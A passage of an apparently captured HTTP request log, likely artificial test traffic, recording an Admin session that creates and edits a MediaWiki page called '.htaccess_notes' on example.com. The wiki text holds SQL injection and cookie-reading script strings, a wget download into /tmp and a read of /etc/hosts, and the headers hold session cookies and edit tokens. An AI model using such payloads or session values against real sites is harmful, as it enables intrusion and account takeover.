name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryLoHFNq5gnNDYTlcP--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1726", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytGGUHVisK39cQRtQ", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ--\r\n"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3322", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySRt2Y7BoeXquAYid", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid--\r\n"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision12=created; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 291", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&text=%3D%3D+Install+%3D%3D%0ARun+.htaccess+and+ls+-la.%0A&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 299", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&stashedtexthash=215fba744e2608c7aadd8d4879a8a1d4a77aeefc&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiT7gCPrm1YQ2rA25", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200105\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun .htaccess and ls -la.\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ .htaccess\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8d98a56fe79ce5cda12f70b54be1830f6af22681+\\\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25--\r\n"}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=.htaccess&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
